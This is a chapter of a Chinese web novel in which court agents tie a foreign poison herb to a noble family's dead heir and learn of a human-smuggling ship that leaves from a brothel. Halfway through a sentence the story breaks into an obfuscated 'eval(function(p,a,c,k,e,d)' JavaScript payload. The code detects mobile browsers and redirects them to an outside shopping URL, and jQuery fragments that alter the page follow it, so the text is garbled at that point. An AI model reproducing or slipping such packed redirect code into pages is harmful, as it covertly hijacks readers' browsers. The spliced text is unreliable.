57. 第五十五章

作品:《遮眼

    这个猜测和江贞的不谋而合。鸣风同他快速对视一眼,二人纷纷皱起眉头。


    对于赵家长子当年的死因鸣风毫无头绪,那时他大概和姐姐长亭挣扎在温饱一类的事上,坊间八卦一概没放在心上。


    但江贞却是略有印象。


    他记得魏家两个草包儿子喜欢和另外一些大官家的草包们一起,时不时攒个草包聚会附庸风雅。这样的局他是从来不去的。


    一是他向来厌恶蠢人,遑论同时面对一堆蠢人,这样浪费时间的消磨简直同谋财害命无异;二来,他不喜饮酒,若是和家人浅品两口果酿可以算作怡情,那么这帮人把酒当水的牛饮法他是在招架不来。


    两个表兄看他人长得清秀又有一肚子墨水,便想带着到诗会酒会上长脸作弊,只是威逼利诱了许久任不见效。


    谁知道这位水乡来的小郎君骨头比铁还硬,简直是宁死不屈。


    两个草包没了法子,终于放弃。


    江贞当时还好心同大夫人明里暗里提醒过,他们舔着上去结盟的“好大哥”可不是什么善茬,最好是不要接触太密,否则到时怎么死的都不知道。


    可惜大夫人有心无力,实在管教不了两个逆子,还被不服气的表兄告到亲爹那去。


    魏建绅听到后曾在中秋家宴上发了好大一通火,在众人面前指责淮瑶没有教养好儿子,让他这样一个不懂京中时势的乡下人胡乱指点自家后院的是非,着实不懂规矩。


    淮瑶自然是相信江贞的判断,只是不好和这位位高权重的魏大人在人前掰扯,只能唯唯听着不敢反驳。


    事后她花了高价从昭宁寺请了一串红珊瑚回来敬上,此事才算了结。


    彼时江贞已被选进文霜殿伴读,大约是包含了江贞中选而自己两个儿子落选的嫉恨,魏建绅的话便说得分外难听。


    淮瑶倒是不把这些放心上,她心态一向豁达。恶言中伤只要自己不较真听过就当耳旁风的话,那么便是连皮肉都伤不着分毫,气到头脑发昏的那个从来不是自己。


    江贞明白娘亲的良苦用心,所以在家中一贯保持沉默,魏大人要发疯就让他发去好了,就是心疼那串上好的红珊瑚。


    江贞让大夫人防备着赵远芳一派并非随意捏造,他同许连作为太孙心腹,接触到的总比久居内院的妇人多。


    自己的一番好意被魏建绅践踏也不恼,他心中计较着早日带娘亲出去自立门户的事,放不下那尊刚愎自用的大佛。


    那时受太后钳制处处掣肘,皇帝早早开始收集她大肆敛财残害忠良的罪证。打头的便是几位一品大员。


    没有确凿证据便从家丁儿孙入手,不过是费神费力些,总会暴露出蛛丝马迹以供追查。


    后有一日许连追踪到赵远芳头上,可惜他本人奸诈圆滑,难能找出破绽。于是许连开始频繁进出烟花巷柳之地,准备从赵家那位神童身上切入。


    计划还没开始实施便听到赵远芳长子身亡的消息,几人惊诧不已,但也无可奈何,这条线只好暂且搁置下来。


    许连进出青楼后发现,在这些灰色地带打探情报更加容易,便一直伪装下来,顺便减弱了太后对他的警惕心,可谓是一举两得。


    不过根据当时搜集到的情报来看,赵远芳好似并未交予两个儿子重任。


    赵有荣带着傻不愣登的赵有声进出的还是纨绔子弟钟爱的那些地方。除了整日喝茶醉酒抒情抱志外,没做出什么能够称得上报效朝廷的实事。


    时光飞逝,现在回头想起那位早逝的二世祖,也只有在会见外邦使臣时做过翻译的贡献。


    等等……外邦……


    江贞双眼猛地亮起来,目光急切地望着雁来,尽量稳住声线平和地问道:“在下有一事不详,不知雁来姑娘能否帮我解惑?”


    雁来缓缓抬起头,侧歪着一点身子正对江贞,不明就里地回答:“当然,江公子请讲。”


    “我对仙晶草不甚了解,只是听说从前阳江公主误服过险些丧命……我记得那东西是属国岁贡上来的,原产地大概并非在国境内,对么?”


    原来是询问医药方面的问题。雁来点点头,根据祖父那时教授的知识复述。


    “仙晶草的原产地具体在哪一片区域已不可考,但绝非在塬县或国境内任何一隅。


    祖父同我说,那东西虽长得与人参高度相似,但对土壤要求很特别,非得要在周围生长凌夜花的地方才能长成,而我国国境内是不长这种花的。”


    “那凌夜花莫非是仙晶草的解药,必得依傍而生才能成么?”


    按照流传下来的说法是这样,只不过就连祖父他老人家也只是有所耳闻,没有亲自上手解配过,真实性还存疑。


    “凌夜花喜湿热有毒的环境,哪怕是福建广东连绵的山林瘴气也够不上它的生长要求,非得再往东南,那就是我从未踏足过的地方了。


    不过那处既有毒药亦有’仙药’,所以混在贡品里进入皇宫大内也不是什么稀奇事。”


    鸣风眸光一闪,显然是和江贞想到一处去了。


    二人不谋而合同时发声。


    “赵大。”


    “赵有荣。”


    而雁来却一下子想到以身入局的揽云。


    是了,仙晶草和凌夜花相伴相生,在毒物周围生长着解药这种重要的事怎么被自己忘了!


    不知道现在塬县内大规模种植用的是什么法子,但总归是一条线索。


    显然两位郎君在说出一个人名后也想到了这点,三人呈对角而坐,皆为这条突破口感到兴奋。


    就在窗外银靡之声逐渐减弱时,他们的房门却被来者无情砸开。


    鸣风以为是先前的白地瓜去而复返,胸腔内正升腾起一股浓烈的厌烦感,右手习惯性地摸上后腰准备将人就地正法。


    没想到手持挑灯杆破门而入的,是赏他巴掌吃的圆圆姑娘。


    小姑娘明显是疾跑而来,整个人汗涔涔的,小脸憋得通红。


    沉甸甸的金包铜杆子被她进门后随手扔在地上,极响的一声“咚”砸在每个人心尖上,回音颤颤。


    江贞瞪圆了眼,一脸“女侠好胆魄”的赞赏模样。见身旁二人只是受了惊吓却没有驱赶,就知道这人显然不是来闹事的。


    小圆姑娘没料到会凭空冒出来第三个人,越往前进越是胆怯。


    毕竟一个鸣风已经对付不过来,更别说再加上一个陌生男人。


    男子,不论看上去有多瘦弱,力气使起来总是压倒性的,这是她在后院的实战里积累下的经验。


    何况那人看起来十分健康茁壮,跟病痨鬼根本搭不上边。


    于是她默默捡起方才豪迈掷出去的武器重新握在手中,踮着脚尖嗖一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980475|193560||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下子躲到雁来身后。


    雁来歪斜着身子探出去很远,伸长了指尖拖过来一张小型方几给她坐,等人呼吸逐渐匀称下来才问发生什么事。


    小圆姑娘双手一上一下地捏着杆子,将剩余部分夹在膝盖之间,摆出一副随时可以进攻的样子来吓唬人。


    江贞见她熟练地摆出防备姿态,嘴边的笑意消失,舌尖泛出一丝苦涩来。


    他用尽量温柔的语气问:“姑娘遇上什么棘手的事了,不知有没有我们能帮得上忙的地方?但说无妨。”


    小圆姑娘自有一套识人的本领,一双火眼金睛扫过去,立马判断出此人大概是个没吃过苦的公子哥。


    说起话来文绉绉的,眼神中没有令人作呕的打量和歪心,全身上下笼罩着一层博爱的光辉,奇怪极了。


    不是她随随便便就能见到的那种人。


    管他呢,只要不是见色起意的烂人就行。


    小圆从雁来身后探出一颗脑袋,一脸看好戏的样子,看热闹一般问道:“是不是跟妈妈们过不去的事你都愿意做?”


    这话问的是鸣风。


    也许是初见时带给她的错觉,以为他来打探消息得目的是同行竞争或仇家滋事。


    他不欲解释,双臂环抱于胸前点点头让她继续说。


    “我刚在后院听见,他们今夜又要拉一船人出海。”她站起来扶着雁来肩膀,坏笑着说:“你有没有办法能把船打翻?反正我们这儿的小娘子小郎君都会水,淹不死,能让他们游出一条生路就当日行一善了。”


    “出海?你知道目的地是哪么?”江贞没想到她带来了这样有用的信息,语气一下子有些急了。


    “那我可就不知道了,只能通过每次船只返港时带回来的货才能判断。这种事是机密,不是我们这种闲杂人等有权得知的。


    妈妈们才不会傻乎乎地满船出去空船回来,只要是能赚钱的生意都要掺一脚。


    要是把人卖出国,那么返程带回来的大多是容貌上乘的番邦人;要是只在国境内走一趟,那带回来的东西可就多了。


    总之,我一看就知道。”


    “那么,前几次都是从哪返航的,你还有印象么?”江贞试图从过往记录里找出他们安排的规律。


    “我只知道上回一下子回来好几趟船,国内外的都有,具体什么顺序我可就真不清楚了。”


    模棱两可的答案不是他们所希望的,鸣江二人静了静,各自在脑中飞快思索现在调人过来追踪的可能性。


    没沉默太久,心中已然有了答案。


    不可能。


    且不说蝶鹂二部的人手,就算是鸣风拿着兔符调动那支皇帝给的精锐也是来不及的。


    没有时间了。


    “你是说船上男人和女人都有?”鸣风脑中闪回几个关键词,立马有了主意。


    可惜是个馊的。


    江贞即刻明白了他问这个问题的意图,抢在小圆回答之前疾言厉色说到:“不准!太冒险了!”


    雁来一脸懵懂地扬起头,视线来回在二人身上穿梭,好像知道他们在说什么谜语。


    小圆很不客气地笑出声来,现在终于明白江贞身上那股说不清道不明的气质从何而来。


    原来这两个才是一对,难怪他看姑娘的眼神如此清澈纯粹,感情人相好的就在身边杵着呢。